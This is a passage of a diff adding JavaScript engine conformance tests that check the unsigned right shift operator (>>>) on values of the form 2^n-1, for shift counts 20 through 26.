+ $ERROR('#663: 3 >>> 20 === 0. Actual: ' + (3 >>> 20));
+}
+
+
+if (7 >>> 20 !== 0) {
+ $ERROR('#664: 7 >>> 20 === 0. Actual: ' + (7 >>> 20));
+}
+
+
+if (15 >>> 20 !== 0) {
+ $ERROR('#665: 15 >>> 20 === 0. Actual: ' + (15 >>> 20));
+}
+
+
+if (31 >>> 20 !== 0) {
+ $ERROR('#666: 31 >>> 20 === 0. Actual: ' + (31 >>> 20));
+}
+
+
+if (63 >>> 20 !== 0) {
+ $ERROR('#667: 63 >>> 20 === 0. Actual: ' + (63 >>> 20));
+}
+
+
+if (127 >>> 20 !== 0) {
+ $ERROR('#668: 127 >>> 20 === 0. Actual: ' + (127 >>> 20));
+}
+
+
+if (255 >>> 20 !== 0) {
+ $ERROR('#669: 255 >>> 20 === 0. Actual: ' + (255 >>> 20));
+}
+
+
+if (511 >>> 20 !== 0) {
+ $ERROR('#670: 511 >>> 20 === 0. Actual: ' + (511 >>> 20));
+}
+
+
+if (1023 >>> 20 !== 0) {
+ $ERROR('#671: 1023 >>> 20 === 0. Actual: ' + (1023 >>> 20));
+}
+
+
+if (2047 >>> 20 !== 0) {
+ $ERROR('#672: 2047 >>> 20 === 0. Actual: ' + (2047 >>> 20));
+}
+
+
+if (4095 >>> 20 !== 0) {
+ $ERROR('#673: 4095 >>> 20 === 0. Actual: ' + (4095 >>> 20));
+}
+
+
+if (8191 >>> 20 !== 0) {
+ $ERROR('#674: 8191 >>> 20 === 0. Actual: ' + (8191 >>> 20));
+}
+
+
+if (16383 >>> 20 !== 0) {
+ $ERROR('#675: 16383 >>> 20 === 0. Actual: ' + (16383 >>> 20));
+}
+
+
+if (32767 >>> 20 !== 0) {
+ $ERROR('#676: 32767 >>> 20 === 0. Actual: ' + (32767 >>> 20));
+}
+
+
+if (65535 >>> 20 !== 0) {
+ $ERROR('#677: 65535 >>> 20 === 0. Actual: ' + (65535 >>> 20));
+}
+
+
+if (131071 >>> 20 !== 0) {
+ $ERROR('#678: 131071 >>> 20 === 0. Actual: ' + (131071 >>> 20));
+}
+
+
+if (262143 >>> 20 !== 0) {
+ $ERROR('#679: 262143 >>> 20 === 0. Actual: ' + (262143 >>> 20));
+}
+
+
+if (524287 >>> 20 !== 0) {
+ $ERROR('#680: 524287 >>> 20 === 0. Actual: ' + (524287 >>> 20));
+}
+
+
+if (1048575 >>> 20 !== 0) {
+ $ERROR('#681: 1048575 >>> 20 === 0. Actual: ' + (1048575 >>> 20));
+}
+
+
+if (2097151 >>> 20 !== 1) {
+ $ERROR('#682: 2097151 >>> 20 === 1. Actual: ' + (2097151 >>> 20));
+}
+
+
+if (4194303 >>> 20 !== 3) {
+ $ERROR('#683: 4194303 >>> 20 === 3. Actual: ' + (4194303 >>> 20));
+}
+
+
+if (8388607 >>> 20 !== 7) {
+ $ERROR('#684: 8388607 >>> 20 === 7. Actual: ' + (8388607 >>> 20));
+}
+
+
+if (16777215 >>> 20 !== 15) {
+ $ERROR('#685: 16777215 >>> 20 === 15. Actual: ' + (16777215 >>> 20));
+}
+
+
+if (33554431 >>> 20 !== 31) {
+ $ERROR('#686: 33554431 >>> 20 === 31. Actual: ' + (33554431 >>> 20));
+}
+
+
+if (67108863 >>> 20 !== 63) {
+ $ERROR('#687: 67108863 >>> 20 === 63. Actual: ' + (67108863 >>> 20));
+}
+
+
+if (134217727 >>> 20 !== 127) {
+ $ERROR('#688: 134217727 >>> 20 === 127. Actual: ' + (134217727 >>> 20));
+}
+
+
+if (268435455 >>> 20 !== 255) {
+ $ERROR('#689: 268435455 >>> 20 === 255. Actual: ' + (268435455 >>> 20));
+}
+
+
+if (536870911 >>> 20 !== 511) {
+ $ERROR('#690: 536870911 >>> 20 === 511. Actual: ' + (536870911 >>> 20));
+}
+
+
+if (1073741823 >>> 20 !== 1023) {
+ $ERROR('#691: 1073741823 >>> 20 === 1023. Actual: ' + (1073741823 >>> 20));
+}
+
+
+if (2147483647 >>> 20 !== 2047) {
+ $ERROR('#692: 2147483647 >>> 20 === 2047. Actual: ' + (2147483647 >>> 20));
+}
+
+
+if (4294967295 >>> 20 !== 4095) {
+ $ERROR('#693: 4294967295 >>> 20 === 4095. Actual: ' + (4294967295 >>> 20));
+}
+
+
+if (0 >>> 21 !== 0) {
+ $ERROR('#694: 0 >>> 21 === 0. Actual: ' + (0 >>> 21));
+}
+
+
+if (1 >>> 21 !== 0) {
+ $ERROR('#695: 1 >>> 21 === 0. Actual: ' + (1 >>> 21));
+}
+
+
+if (3 >>> 21 !== 0) {
+ $ERROR('#696: 3 >>> 21 === 0. Actual: ' + (3 >>> 21));
+}
+
+
+if (7 >>> 21 !== 0) {
+ $ERROR('#697: 7 >>> 21 === 0. Actual: ' + (7 >>> 21));
+}
+
+
+if (15 >>> 21 !== 0) {
+ $ERROR('#698: 15 >>> 21 === 0. Actual: ' + (15 >>> 21));
+}
+
+
+if (31 >>> 21 !== 0) {
+ $ERROR('#699: 31 >>> 21 === 0. Actual: ' + (31 >>> 21));
+}
+
+
+if (63 >>> 21 !== 0) {
+ $ERROR('#700: 63 >>> 21 === 0. Actual: ' + (63 >>> 21));
+}
+
+
+if (127 >>> 21 !== 0) {
+ $ERROR('#701: 127 >>> 21 === 0. Actual: ' + (127 >>> 21));
+}
+
+
+if (255 >>> 21 !== 0) {
+ $ERROR('#702: 255 >>> 21 === 0. Actual: ' + (255 >>> 21));
+}
+
+
+if (511 >>> 21 !== 0) {
+ $ERROR('#703: 511 >>> 21 === 0. Actual: ' + (511 >>> 21));
+}
+
+
+if (1023 >>> 21 !== 0) {
+ $ERROR('#704: 1023 >>> 21 === 0. Actual: ' + (1023 >>> 21));
+}
+
+
+if (2047 >>> 21 !== 0) {
+ $ERROR('#705: 2047 >>> 21 === 0. Actual: ' + (2047 >>> 21));
+}
+
+
+if (4095 >>> 21 !== 0) {
+ $ERROR('#706: 4095 >>> 21 === 0. Actual: ' + (4095 >>> 21));
+}
+
+
+if (8191 >>> 21 !== 0) {
+ $ERROR('#707: 8191 >>> 21 === 0. Actual: ' + (8191 >>> 21));
+}
+
+
+if (16383 >>> 21 !== 0) {
+ $ERROR('#708: 16383 >>> 21 === 0. Actual: ' + (16383 >>> 21));
+}
+
+
+if (32767 >>> 21 !== 0) {
+ $ERROR('#709: 32767 >>> 21 === 0. Actual: ' + (32767 >>> 21));
+}
+
+
+if (65535 >>> 21 !== 0) {
+ $ERROR('#710: 65535 >>> 21 === 0. Actual: ' + (65535 >>> 21));
+}
+
+
+if (131071 >>> 21 !== 0) {
+ $ERROR('#711: 131071 >>> 21 === 0. Actual: ' + (131071 >>> 21));
+}
+
+
+if (262143 >>> 21 !== 0) {
+ $ERROR('#712: 262143 >>> 21 === 0. Actual: ' + (262143 >>> 21));
+}
+
+
+if (524287 >>> 21 !== 0) {
+ $ERROR('#713: 524287 >>> 21 === 0. Actual: ' + (524287 >>> 21));
+}
+
+
+if (1048575 >>> 21 !== 0) {
+ $ERROR('#714: 1048575 >>> 21 === 0. Actual: ' + (1048575 >>> 21));
+}
+
+
+if (2097151 >>> 21 !== 0) {
+ $ERROR('#715: 2097151 >>> 21 === 0. Actual: ' + (2097151 >>> 21));
+}
+
+
+if (4194303 >>> 21 !== 1) {
+ $ERROR('#716: 4194303 >>> 21 === 1. Actual: ' + (4194303 >>> 21));
+}
+
+
+if (8388607 >>> 21 !== 3) {
+ $ERROR('#717: 8388607 >>> 21 === 3. Actual: ' + (8388607 >>> 21));
+}
+
+
+if (16777215 >>> 21 !== 7) {
+ $ERROR('#718: 16777215 >>> 21 === 7. Actual: ' + (16777215 >>> 21));
+}
+
+
+if (33554431 >>> 21 !== 15) {
+ $ERROR('#719: 33554431 >>> 21 === 15. Actual: ' + (33554431 >>> 21));
+}
+
+
+if (67108863 >>> 21 !== 31) {
+ $ERROR('#720: 67108863 >>> 21 === 31. Actual: ' + (67108863 >>> 21));
+}
+
+
+if (134217727 >>> 21 !== 63) {
+ $ERROR('#721: 134217727 >>> 21 === 63. Actual: ' + (134217727 >>> 21));
+}
+
+
+if (268435455 >>> 21 !== 127) {
+ $ERROR('#722: 268435455 >>> 21 === 127. Actual: ' + (268435455 >>> 21));
+}
+
+
+if (536870911 >>> 21 !== 255) {
+ $ERROR('#723: 536870911 >>> 21 === 255. Actual: ' + (536870911 >>> 21));
+}
+
+
+if (1073741823 >>> 21 !== 511) {
+ $ERROR('#724: 1073741823 >>> 21 === 511. Actual: ' + (1073741823 >>> 21));
+}
+
+
+if (2147483647 >>> 21 !== 1023) {
+ $ERROR('#725: 2147483647 >>> 21 === 1023. Actual: ' + (2147483647 >>> 21));
+}
+
+
+if (4294967295 >>> 21 !== 2047) {
+ $ERROR('#726: 4294967295 >>> 21 === 2047. Actual: ' + (4294967295 >>> 21));
+}
+
+
+if (0 >>> 22 !== 0) {
+ $ERROR('#727: 0 >>> 22 === 0. Actual: ' + (0 >>> 22));
+}
+
+
+if (1 >>> 22 !== 0) {
+ $ERROR('#728: 1 >>> 22 === 0. Actual: ' + (1 >>> 22));
+}
+
+
+if (3 >>> 22 !== 0) {
+ $ERROR('#729: 3 >>> 22 === 0. Actual: ' + (3 >>> 22));
+}
+
+
+if (7 >>> 22 !== 0) {
+ $ERROR('#730: 7 >>> 22 === 0. Actual: ' + (7 >>> 22));
+}
+
+
+if (15 >>> 22 !== 0) {
+ $ERROR('#731: 15 >>> 22 === 0. Actual: ' + (15 >>> 22));
+}
+
+
+if (31 >>> 22 !== 0) {
+ $ERROR('#732: 31 >>> 22 === 0. Actual: ' + (31 >>> 22));
+}
+
+
+if (63 >>> 22 !== 0) {
+ $ERROR('#733: 63 >>> 22 === 0. Actual: ' + (63 >>> 22));
+}
+
+
+if (127 >>> 22 !== 0) {
+ $ERROR('#734: 127 >>> 22 === 0. Actual: ' + (127 >>> 22));
+}
+
+
+if (255 >>> 22 !== 0) {
+ $ERROR('#735: 255 >>> 22 === 0. Actual: ' + (255 >>> 22));
+}
+
+
+if (511 >>> 22 !== 0) {
+ $ERROR('#736: 511 >>> 22 === 0. Actual: ' + (511 >>> 22));
+}
+
+
+if (1023 >>> 22 !== 0) {
+ $ERROR('#737: 1023 >>> 22 === 0. Actual: ' + (1023 >>> 22));
+}
+
+
+if (2047 >>> 22 !== 0) {
+ $ERROR('#738: 2047 >>> 22 === 0. Actual: ' + (2047 >>> 22));
+}
+
+
+if (4095 >>> 22 !== 0) {
+ $ERROR('#739: 4095 >>> 22 === 0. Actual: ' + (4095 >>> 22));
+}
+
+
+if (8191 >>> 22 !== 0) {
+ $ERROR('#740: 8191 >>> 22 === 0. Actual: ' + (8191 >>> 22));
+}
+
+
+if (16383 >>> 22 !== 0) {
+ $ERROR('#741: 16383 >>> 22 === 0. Actual: ' + (16383 >>> 22));
+}
+
+
+if (32767 >>> 22 !== 0) {
+ $ERROR('#742: 32767 >>> 22 === 0. Actual: ' + (32767 >>> 22));
+}
+
+
+if (65535 >>> 22 !== 0) {
+ $ERROR('#743: 65535 >>> 22 === 0. Actual: ' + (65535 >>> 22));
+}
+
+
+if (131071 >>> 22 !== 0) {
+ $ERROR('#744: 131071 >>> 22 === 0. Actual: ' + (131071 >>> 22));
+}
+
+
+if (262143 >>> 22 !== 0) {
+ $ERROR('#745: 262143 >>> 22 === 0. Actual: ' + (262143 >>> 22));
+}
+
+
+if (524287 >>> 22 !== 0) {
+ $ERROR('#746: 524287 >>> 22 === 0. Actual: ' + (524287 >>> 22));
+}
+
+
+if (1048575 >>> 22 !== 0) {
+ $ERROR('#747: 1048575 >>> 22 === 0. Actual: ' + (1048575 >>> 22));
+}
+
+
+if (2097151 >>> 22 !== 0) {
+ $ERROR('#748: 2097151 >>> 22 === 0. Actual: ' + (2097151 >>> 22));
+}
+
+
+if (4194303 >>> 22 !== 0) {
+ $ERROR('#749: 4194303 >>> 22 === 0. Actual: ' + (4194303 >>> 22));
+}
+
+
+if (8388607 >>> 22 !== 1) {
+ $ERROR('#750: 8388607 >>> 22 === 1. Actual: ' + (8388607 >>> 22));
+}
+
+
+if (16777215 >>> 22 !== 3) {
+ $ERROR('#751: 16777215 >>> 22 === 3. Actual: ' + (16777215 >>> 22));
+}
+
+
+if (33554431 >>> 22 !== 7) {
+ $ERROR('#752: 33554431 >>> 22 === 7. Actual: ' + (33554431 >>> 22));
+}
+
+
+if (67108863 >>> 22 !== 15) {
+ $ERROR('#753: 67108863 >>> 22 === 15. Actual: ' + (67108863 >>> 22));
+}
+
+
+if (134217727 >>> 22 !== 31) {
+ $ERROR('#754: 134217727 >>> 22 === 31. Actual: ' + (134217727 >>> 22));
+}
+
+
+if (268435455 >>> 22 !== 63) {
+ $ERROR('#755: 268435455 >>> 22 === 63. Actual: ' + (268435455 >>> 22));
+}
+
+
+if (536870911 >>> 22 !== 127) {
+ $ERROR('#756: 536870911 >>> 22 === 127. Actual: ' + (536870911 >>> 22));
+}
+
+
+if (1073741823 >>> 22 !== 255) {
+ $ERROR('#757: 1073741823 >>> 22 === 255. Actual: ' + (1073741823 >>> 22));
+}
+
+
+if (2147483647 >>> 22 !== 511) {
+ $ERROR('#758: 2147483647 >>> 22 === 511. Actual: ' + (2147483647 >>> 22));
+}
+
+
+if (4294967295 >>> 22 !== 1023) {
+ $ERROR('#759: 4294967295 >>> 22 === 1023. Actual: ' + (4294967295 >>> 22));
+}
+
+
+if (0 >>> 23 !== 0) {
+ $ERROR('#760: 0 >>> 23 === 0. Actual: ' + (0 >>> 23));
+}
+
+
+if (1 >>> 23 !== 0) {
+ $ERROR('#761: 1 >>> 23 === 0. Actual: ' + (1 >>> 23));
+}
+
+
+if (3 >>> 23 !== 0) {
+ $ERROR('#762: 3 >>> 23 === 0. Actual: ' + (3 >>> 23));
+}
+
+
+if (7 >>> 23 !== 0) {
+ $ERROR('#763: 7 >>> 23 === 0. Actual: ' + (7 >>> 23));
+}
+
+
+if (15 >>> 23 !== 0) {
+ $ERROR('#764: 15 >>> 23 === 0. Actual: ' + (15 >>> 23));
+}
+
+
+if (31 >>> 23 !== 0) {
+ $ERROR('#765: 31 >>> 23 === 0. Actual: ' + (31 >>> 23));
+}
+
+
+if (63 >>> 23 !== 0) {
+ $ERROR('#766: 63 >>> 23 === 0. Actual: ' + (63 >>> 23));
+}
+
+
+if (127 >>> 23 !== 0) {
+ $ERROR('#767: 127 >>> 23 === 0. Actual: ' + (127 >>> 23));
+}
+
+
+if (255 >>> 23 !== 0) {
+ $ERROR('#768: 255 >>> 23 === 0. Actual: ' + (255 >>> 23));
+}
+
+
+if (511 >>> 23 !== 0) {
+ $ERROR('#769: 511 >>> 23 === 0. Actual: ' + (511 >>> 23));
+}
+
+
+if (1023 >>> 23 !== 0) {
+ $ERROR('#770: 1023 >>> 23 === 0. Actual: ' + (1023 >>> 23));
+}
+
+
+if (2047 >>> 23 !== 0) {
+ $ERROR('#771: 2047 >>> 23 === 0. Actual: ' + (2047 >>> 23));
+}
+
+
+if (4095 >>> 23 !== 0) {
+ $ERROR('#772: 4095 >>> 23 === 0. Actual: ' + (4095 >>> 23));
+}
+
+
+if (8191 >>> 23 !== 0) {
+ $ERROR('#773: 8191 >>> 23 === 0. Actual: ' + (8191 >>> 23));
+}
+
+
+if (16383 >>> 23 !== 0) {
+ $ERROR('#774: 16383 >>> 23 === 0. Actual: ' + (16383 >>> 23));
+}
+
+
+if (32767 >>> 23 !== 0) {
+ $ERROR('#775: 32767 >>> 23 === 0. Actual: ' + (32767 >>> 23));
+}
+
+
+if (65535 >>> 23 !== 0) {
+ $ERROR('#776: 65535 >>> 23 === 0. Actual: ' + (65535 >>> 23));
+}
+
+
+if (131071 >>> 23 !== 0) {
+ $ERROR('#777: 131071 >>> 23 === 0. Actual: ' + (131071 >>> 23));
+}
+
+
+if (262143 >>> 23 !== 0) {
+ $ERROR('#778: 262143 >>> 23 === 0. Actual: ' + (262143 >>> 23));
+}
+
+
+if (524287 >>> 23 !== 0) {
+ $ERROR('#779: 524287 >>> 23 === 0. Actual: ' + (524287 >>> 23));
+}
+
+
+if (1048575 >>> 23 !== 0) {
+ $ERROR('#780: 1048575 >>> 23 === 0. Actual: ' + (1048575 >>> 23));
+}
+
+
+if (2097151 >>> 23 !== 0) {
+ $ERROR('#781: 2097151 >>> 23 === 0. Actual: ' + (2097151 >>> 23));
+}
+
+
+if (4194303 >>> 23 !== 0) {
+ $ERROR('#782: 4194303 >>> 23 === 0. Actual: ' + (4194303 >>> 23));
+}
+
+
+if (8388607 >>> 23 !== 0) {
+ $ERROR('#783: 8388607 >>> 23 === 0. Actual: ' + (8388607 >>> 23));
+}
+
+
+if (16777215 >>> 23 !== 1) {
+ $ERROR('#784: 16777215 >>> 23 === 1. Actual: ' + (16777215 >>> 23));
+}
+
+
+if (33554431 >>> 23 !== 3) {
+ $ERROR('#785: 33554431 >>> 23 === 3. Actual: ' + (33554431 >>> 23));
+}
+
+
+if (67108863 >>> 23 !== 7) {
+ $ERROR('#786: 67108863 >>> 23 === 7. Actual: ' + (67108863 >>> 23));
+}
+
+
+if (134217727 >>> 23 !== 15) {
+ $ERROR('#787: 134217727 >>> 23 === 15. Actual: ' + (134217727 >>> 23));
+}
+
+
+if (268435455 >>> 23 !== 31) {
+ $ERROR('#788: 268435455 >>> 23 === 31. Actual: ' + (268435455 >>> 23));
+}
+
+
+if (536870911 >>> 23 !== 63) {
+ $ERROR('#789: 536870911 >>> 23 === 63. Actual: ' + (536870911 >>> 23));
+}
+
+
+if (1073741823 >>> 23 !== 127) {
+ $ERROR('#790: 1073741823 >>> 23 === 127. Actual: ' + (1073741823 >>> 23));
+}
+
+
+if (2147483647 >>> 23 !== 255) {
+ $ERROR('#791: 2147483647 >>> 23 === 255. Actual: ' + (2147483647 >>> 23));
+}
+
+
+if (4294967295 >>> 23 !== 511) {
+ $ERROR('#792: 4294967295 >>> 23 === 511. Actual: ' + (4294967295 >>> 23));
+}
+
+
+if (0 >>> 24 !== 0) {
+ $ERROR('#793: 0 >>> 24 === 0. Actual: ' + (0 >>> 24));
+}
+
+
+if (1 >>> 24 !== 0) {
+ $ERROR('#794: 1 >>> 24 === 0. Actual: ' + (1 >>> 24));
+}
+
+
+if (3 >>> 24 !== 0) {
+ $ERROR('#795: 3 >>> 24 === 0. Actual: ' + (3 >>> 24));
+}
+
+
+if (7 >>> 24 !== 0) {
+ $ERROR('#796: 7 >>> 24 === 0. Actual: ' + (7 >>> 24));
+}
+
+
+if (15 >>> 24 !== 0) {
+ $ERROR('#797: 15 >>> 24 === 0. Actual: ' + (15 >>> 24));
+}
+
+
+if (31 >>> 24 !== 0) {
+ $ERROR('#798: 31 >>> 24 === 0. Actual: ' + (31 >>> 24));
+}
+
+
+if (63 >>> 24 !== 0) {
+ $ERROR('#799: 63 >>> 24 === 0. Actual: ' + (63 >>> 24));
+}
+
+
+if (127 >>> 24 !== 0) {
+ $ERROR('#800: 127 >>> 24 === 0. Actual: ' + (127 >>> 24));
+}
+
+
+if (255 >>> 24 !== 0) {
+ $ERROR('#801: 255 >>> 24 === 0. Actual: ' + (255 >>> 24));
+}
+
+
+if (511 >>> 24 !== 0) {
+ $ERROR('#802: 511 >>> 24 === 0. Actual: ' + (511 >>> 24));
+}
+
+
+if (1023 >>> 24 !== 0) {
+ $ERROR('#803: 1023 >>> 24 === 0. Actual: ' + (1023 >>> 24));
+}
+
+
+if (2047 >>> 24 !== 0) {
+ $ERROR('#804: 2047 >>> 24 === 0. Actual: ' + (2047 >>> 24));
+}
+
+
+if (4095 >>> 24 !== 0) {
+ $ERROR('#805: 4095 >>> 24 === 0. Actual: ' + (4095 >>> 24));
+}
+
+
+if (8191 >>> 24 !== 0) {
+ $ERROR('#806: 8191 >>> 24 === 0. Actual: ' + (8191 >>> 24));
+}
+
+
+if (16383 >>> 24 !== 0) {
+ $ERROR('#807: 16383 >>> 24 === 0. Actual: ' + (16383 >>> 24));
+}
+
+
+if (32767 >>> 24 !== 0) {
+ $ERROR('#808: 32767 >>> 24 === 0. Actual: ' + (32767 >>> 24));
+}
+
+
+if (65535 >>> 24 !== 0) {
+ $ERROR('#809: 65535 >>> 24 === 0. Actual: ' + (65535 >>> 24));
+}
+
+
+if (131071 >>> 24 !== 0) {
+ $ERROR('#810: 131071 >>> 24 === 0. Actual: ' + (131071 >>> 24));
+}
+
+
+if (262143 >>> 24 !== 0) {
+ $ERROR('#811: 262143 >>> 24 === 0. Actual: ' + (262143 >>> 24));
+}
+
+
+if (524287 >>> 24 !== 0) {
+ $ERROR('#812: 524287 >>> 24 === 0. Actual: ' + (524287 >>> 24));
+}
+
+
+if (1048575 >>> 24 !== 0) {
+ $ERROR('#813: 1048575 >>> 24 === 0. Actual: ' + (1048575 >>> 24));
+}
+
+
+if (2097151 >>> 24 !== 0) {
+ $ERROR('#814: 2097151 >>> 24 === 0. Actual: ' + (2097151 >>> 24));
+}
+
+
+if (4194303 >>> 24 !== 0) {
+ $ERROR('#815: 4194303 >>> 24 === 0. Actual: ' + (4194303 >>> 24));
+}
+
+
+if (8388607 >>> 24 !== 0) {
+ $ERROR('#816: 8388607 >>> 24 === 0. Actual: ' + (8388607 >>> 24));
+}
+
+
+if (16777215 >>> 24 !== 0) {
+ $ERROR('#817: 16777215 >>> 24 === 0. Actual: ' + (16777215 >>> 24));
+}
+
+
+if (33554431 >>> 24 !== 1) {
+ $ERROR('#818: 33554431 >>> 24 === 1. Actual: ' + (33554431 >>> 24));
+}
+
+
+if (67108863 >>> 24 !== 3) {
+ $ERROR('#819: 67108863 >>> 24 === 3. Actual: ' + (67108863 >>> 24));
+}
+
+
+if (134217727 >>> 24 !== 7) {
+ $ERROR('#820: 134217727 >>> 24 === 7. Actual: ' + (134217727 >>> 24));
+}
+
+
+if (268435455 >>> 24 !== 15) {
+ $ERROR('#821: 268435455 >>> 24 === 15. Actual: ' + (268435455 >>> 24));
+}
+
+
+if (536870911 >>> 24 !== 31) {
+ $ERROR('#822: 536870911 >>> 24 === 31. Actual: ' + (536870911 >>> 24));
+}
+
+
+if (1073741823 >>> 24 !== 63) {
+ $ERROR('#823: 1073741823 >>> 24 === 63. Actual: ' + (1073741823 >>> 24));
+}
+
+
+if (2147483647 >>> 24 !== 127) {
+ $ERROR('#824: 2147483647 >>> 24 === 127. Actual: ' + (2147483647 >>> 24));
+}
+
+
+if (4294967295 >>> 24 !== 255) {
+ $ERROR('#825: 4294967295 >>> 24 === 255. Actual: ' + (4294967295 >>> 24));
+}
+
+
+if (0 >>> 25 !== 0) {
+ $ERROR('#826: 0 >>> 25 === 0. Actual: ' + (0 >>> 25));
+}
+
+
+if (1 >>> 25 !== 0) {
+ $ERROR('#827: 1 >>> 25 === 0. Actual: ' + (1 >>> 25));
+}
+
+
+if (3 >>> 25 !== 0) {
+ $ERROR('#828: 3 >>> 25 === 0. Actual: ' + (3 >>> 25));
+}
+
+
+if (7 >>> 25 !== 0) {
+ $ERROR('#829: 7 >>> 25 === 0. Actual: ' + (7 >>> 25));
+}
+
+
+if (15 >>> 25 !== 0) {
+ $ERROR('#830: 15 >>> 25 === 0. Actual: ' + (15 >>> 25));
+}
+
+
+if (31 >>> 25 !== 0) {
+ $ERROR('#831: 31 >>> 25 === 0. Actual: ' + (31 >>> 25));
+}
+
+
+if (63 >>> 25 !== 0) {
+ $ERROR('#832: 63 >>> 25 === 0. Actual: ' + (63 >>> 25));
+}
+
+
+if (127 >>> 25 !== 0) {
+ $ERROR('#833: 127 >>> 25 === 0. Actual: ' + (127 >>> 25));
+}
+
+
+if (255 >>> 25 !== 0) {
+ $ERROR('#834: 255 >>> 25 === 0. Actual: ' + (255 >>> 25));
+}
+
+
+if (511 >>> 25 !== 0) {
+ $ERROR('#835: 511 >>> 25 === 0. Actual: ' + (511 >>> 25));
+}
+
+
+if (1023 >>> 25 !== 0) {
+ $ERROR('#836: 1023 >>> 25 === 0. Actual: ' + (1023 >>> 25));
+}
+
+
+if (2047 >>> 25 !== 0) {
+ $ERROR('#837: 2047 >>> 25 === 0. Actual: ' + (2047 >>> 25));
+}
+
+
+if (4095 >>> 25 !== 0) {
+ $ERROR('#838: 4095 >>> 25 === 0. Actual: ' + (4095 >>> 25));
+}
+
+
+if (8191 >>> 25 !== 0) {
+ $ERROR('#839: 8191 >>> 25 === 0. Actual: ' + (8191 >>> 25));
+}
+
+
+if (16383 >>> 25 !== 0) {
+ $ERROR('#840: 16383 >>> 25 === 0. Actual: ' + (16383 >>> 25));
+}
+
+
+if (32767 >>> 25 !== 0) {
+ $ERROR('#841: 32767 >>> 25 === 0. Actual: ' + (32767 >>> 25));
+}
+
+
+if (65535 >>> 25 !== 0) {
+ $ERROR('#842: 65535 >>> 25 === 0. Actual: ' + (65535 >>> 25));
+}
+
+
+if (131071 >>> 25 !== 0) {
+ $ERROR('#843: 131071 >>> 25 === 0. Actual: ' + (131071 >>> 25));
+}
+
+
+if (262143 >>> 25 !== 0) {
+ $ERROR('#844: 262143 >>> 25 === 0. Actual: ' + (262143 >>> 25));
+}
+
+
+if (524287 >>> 25 !== 0) {
+ $ERROR('#845: 524287 >>> 25 === 0. Actual: ' + (524287 >>> 25));
+}
+
+
+if (1048575 >>> 25 !== 0) {
+ $ERROR('#846: 1048575 >>> 25 === 0. Actual: ' + (1048575 >>> 25));
+}
+
+
+if (2097151 >>> 25 !== 0) {
+ $ERROR('#847: 2097151 >>> 25 === 0. Actual: ' + (2097151 >>> 25));
+}
+
+
+if (4194303 >>> 25 !== 0) {
+ $ERROR('#848: 4194303 >>> 25 === 0. Actual: ' + (4194303 >>> 25));
+}
+
+
+if (8388607 >>> 25 !== 0) {
+ $ERROR('#849: 8388607 >>> 25 === 0. Actual: ' + (8388607 >>> 25));
+}
+
+
+if (16777215 >>> 25 !== 0) {
+ $ERROR('#850: 16777215 >>> 25 === 0. Actual: ' + (16777215 >>> 25));
+}
+
+
+if (33554431 >>> 25 !== 0) {
+ $ERROR('#851: 33554431 >>> 25 === 0. Actual: ' + (33554431 >>> 25));
+}
+
+
+if (67108863 >>> 25 !== 1) {
+ $ERROR('#852: 67108863 >>> 25 === 1. Actual: ' + (67108863 >>> 25));
+}
+
+
+if (134217727 >>> 25 !== 3) {
+ $ERROR('#853: 134217727 >>> 25 === 3. Actual: ' + (134217727 >>> 25));
+}
+
+
+if (268435455 >>> 25 !== 7) {
+ $ERROR('#854: 268435455 >>> 25 === 7. Actual: ' + (268435455 >>> 25));
+}
+
+
+if (536870911 >>> 25 !== 15) {
+ $ERROR('#855: 536870911 >>> 25 === 15. Actual: ' + (536870911 >>> 25));
+}
+
+
+if (1073741823 >>> 25 !== 31) {
+ $ERROR('#856: 1073741823 >>> 25 === 31. Actual: ' + (1073741823 >>> 25));
+}
+
+
+if (2147483647 >>> 25 !== 63) {
+ $ERROR('#857: 2147483647 >>> 25 === 63. Actual: ' + (2147483647 >>> 25));
+}
+
+
+if (4294967295 >>> 25 !== 127) {
+ $ERROR('#858: 4294967295 >>> 25 === 127. Actual: ' + (4294967295 >>> 25));
+}
+
+
+if (0 >>> 26 !== 0) {
+ $ERROR('#859: 0 >>> 26 === 0. Actual: ' + (0 >>> 26));
+}
+
+
+if (1 >>> 26 !== 0) {
+ $ERROR('#860: 1 >>> 26 === 0. Actual: ' + (1 >>> 26));
+}
+
+
+if (3 >>> 26 !== 0) {
+ $ERROR('#861: 3 >>> 26 === 0. Actual: ' + (3 >>> 26));
+}
+
+
+if (7 >>> 26 !== 0) {
+ $ERROR('#862: 7 >>> 26 === 0. Actual: ' + (7 >>> 26));
+}
+
+
+if (15 >>> 26 !== 0) {
+ $ERROR('#863: 15 >>> 26 === 0. Actual: ' + (15 >>> 26));
+}
+
+
+if (31 >>> 26 !== 0) {
+ $ERROR('#864: 31 >>> 26 === 0. Actual: ' + (31 >>> 26));
+}
+
+
+if (63 >>> 26 !== 0) {
+ $ERROR('#865: 63 >>> 26 === 0. Actual: ' + (63 >>> 26));
+}
+
+
+if (127 >>> 26 !== 0) {
+ $ERROR('#866: 127 >>> 26 === 0. Actual: ' + (127 >>> 26));
+}
+
+
+if (255 >>> 26 !== 0) {
+ $ERROR('#867: 255 >>> 26 === 0. Actual: ' + (255 >>> 26));
+}
+
+
+if (511 >>> 26 !== 0) {
+ $ERROR('#868: 511 >>> 26 === 0. Actual: ' + (511 >>> 26));
+}
+
+
+if (1023 >>> 26 !== 0) {
+ $ERROR('#869: 1023 >>> 26 === 0. Actual: ' + (1023 >>> 26));
+}
+
+
+if (2047 >>> 26 !== 0) {
+ $ERROR('#870: 2047 >>> 26 === 0. Actual: ' + (2047 >>> 26));
+}
+
+
+if (4095 >>> 26 !== 0) {
+ $ERROR('#871: 4095 >>> 26 === 0. Actual: ' + (4095 >>> 26));
+}
+
+
+if (8191 >>> 26 !== 0) {
+ $ERROR('#872: 8191 >>> 26 === 0. Actual: ' + (8191 >>> 26));
+}
+
+
+if (16383 >>> 26 !== 0) {
+ $ERROR('#873: 16383 >>> 26 === 0. Actual: ' + (16383 >>> 26));
+}
+
+
+if (32767 >>> 26 !== 0) {
+ $ERROR('#874: 32767 >>> 26 === 0. Actual: ' + (32767 >>> 26));
+}
+
+
+if (65535 >>> 26 !== 0) {
+ $ERROR('#875: 65535 >>> 26 === 0. Actual: ' + (65535 >>> 26));
+}
+
+
+if (131071 >>> 26 !== 0) {
+ $ERROR('#876: 131071 >>> 26 === 0. Actual: ' + (131071 >>> 26));
+}
+
+
+if (262143 >>> 26 !== 0) {
+ $ERROR('#877: 262143 >>> 26 === 0. Actual: ' + (262143 >>> 26));
+}
+
+
+if (524287 >>> 26 !== 0) {
+ $ERROR('#878: 524287 >>> 26 === 0. Actual: ' + (524287 >>> 26));
+}
+
+
